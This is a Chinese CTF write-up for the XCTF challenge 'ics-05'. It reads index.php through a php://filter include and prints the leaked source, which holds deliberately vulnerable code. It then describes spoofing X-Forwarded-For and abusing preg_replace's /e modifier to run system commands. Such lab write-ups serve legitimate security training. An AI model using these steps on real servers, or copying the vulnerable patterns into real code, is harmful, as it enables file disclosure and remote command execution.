[xctf]ics-05伪协议读取源码preg_replace() /e漏洞命令执行_综合

ics-05

打开没有任何显示和可操作的点
先dirsearch没结果
后来发现上方的选项卡竟然是可以点的
有一个跳转

http://111.200.241.244:49357/index.php?page=index

终于可以勇敢get提交参数了
由于知道的东西太少了
故而试试可不可以通过伪协议读取

http://111.198.29.45:44740/index.php?page=php://filter/convert.base64-encode/resource=index.php

base64解码
获得index.php的源代码

<?php
error_reporting(0);@session_start();
posix_setuid(1000);?>
<!DOCTYPE HTML>
<html><head><meta charset="utf-8"><meta name="renderer" content="webkit"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"><meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"><link rel="stylesheet" href="layui/css/layui.css" media="all"><title>设备维护中心</title><meta charset="utf-8">
</head><body><ul class="layui-nav"><li class="layui-nav-item layui-this"><a href="?page=index">云平台设备维护中心</a></li></ul><fieldset class="layui-elem-field layui-field-title" style="margin-top: 30px;"><legend>设备列表</legend></fieldset><table class="layui-hide" id="test"></table><script type="text/html" id="switchTpl"><!-- 这里的 checked 的状态只是演示 --><input type="checkbox" name="sex" value="{
    {d.id}}" lay-skin="switch" lay-text="开|关" lay-filter="checkDemo" {
    {
     d.id==1 0003 ? 'checked' : '' }}></script><script src="layui/layui.js" charset="utf-8"></script><script>layui.use('table', function() {
    var table = layui.table,form = layui.form;table.render({
    elem: '#test',url: '/somrthing.json',cellMinWidth: 80,cols: [[{
     type: 'numbers' },{
     type: 'checkbox' },{
     field: 'id', title: 'ID', width: 100, unresize: true, sort: true },{
     field: 'name', title: '设备名', templet: '#nameTpl' },{
     field: 'area', title: '区域' },{
     field: 'status', title: '维护状态', minWidth: 120, sort: true },{
     field: 'check', title: '设备开关', width: 85, templet: '#switchTpl', unresize: true }]],page: true});});</script><script>layui.use('element', function() {
    var element = layui.element; //导航的hover效果、二级菜单等功能，需要依赖element模块//监听导航点击element.on('nav(demo)', function(elem) {
    //console.log(elem)layer.msg(elem.text());});});</script><?php$page = $_GET[page];if (isset($page)) {
    if (ctype_alnum($page)) {
       //如果page中有数字和字母
?><br /><br /><br /><br /><div style="text-align:center"><p class="lead"><?php echo $page; die();?></p><br /><br /><br /><br /><?php}
else
{
    ?><br /><br /><br /><br /><div style="text-align:center"><p class="lead"><?phpif (strpos($page, 'input') > 0) {
    die();}if (strpos($page, 'ta:text') > 0) {
    die();}if (strpos($page, 'text') > 0) {
    die();}if ($page === 'index.php') {
    die('Ok');}include($page);die();?></p><br /><br /><br /><br /><?php
}}//方便的实现输入输出的功能,正在开发中的功能，只能内部人员测试if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
    echo "<br >Welcome My Admin ! <br >";$pattern = $_GET[pat];$replacement = $_GET[rep];$subject = $_GET[sub];if (isset($pattern) && isset($replacement) && isset($subject)) {
    preg_replace($pattern, $replacement, $subject);}else{
    die();}}?></body></html>

注意到

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
    echo "<br >Welcome My Admin ! <br >";$pattern = $_GET[pat];$replacement = $_GET[rep];$subject = $_GET[sub];if (isset($pattern) && isset($replacement) && isset($subject)) {
    preg_replace($pattern, $replacement, $subject);}else{
    die();}}

先用hackbar伪造xforwardedfor地址
在通过preg_replace(a,b,c)的/e执行漏洞

在第一个参数处填上匹配格式：/xxx/e 最后的e一定要加上
第二个参数填上要执行的命令:system(‘command’)
第三个参数要能够被第一个匹配上:xxxx

一路查询

ls
cd && ls
cd && cat...
注意&& 要转码不然没有回显